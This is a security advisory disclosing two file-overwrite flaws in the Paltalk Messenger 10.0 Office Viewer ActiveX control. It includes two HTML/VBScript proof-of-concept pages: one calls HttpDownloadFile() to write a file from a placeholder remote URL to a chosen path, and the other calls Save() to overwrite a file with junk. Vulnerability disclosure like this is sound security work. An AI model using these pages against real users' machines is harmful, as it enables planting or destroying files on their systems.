Vulnerability ID: HTB23026 Reference: http://www.htbridge.ch/advisory/paltalk_messenger_activex_control_multiple_insecure_methods.html Product: Paltalk Messenger Vendor: Paltalk ( http://www.paltalk.com ) Vulnerable Version: 10.0 and probably prior Tested on: 10.0 Vendor Notification: 22 June 2011 Vulnerability Type: ActiveX control Insecure Method Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Paltalk Messenger, which can be exploited to overwrite arbitrary files. 1) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "HttpDownloadFile()" method. This can be exploited to overwrite arbitrary files in the context of the currently logged-on user by any file located on a remote http server. The following PoC code is available: <html> <object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="http://URL/Filename"; arg2="FilePath\Filename_to_create" target.HttpDownloadFile arg1 ,arg2 End Sub </script> </html> 2) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "Save()" method. This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user. <html> <object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\Filename_to_create" target.Save arg1 End Sub </script> </html>
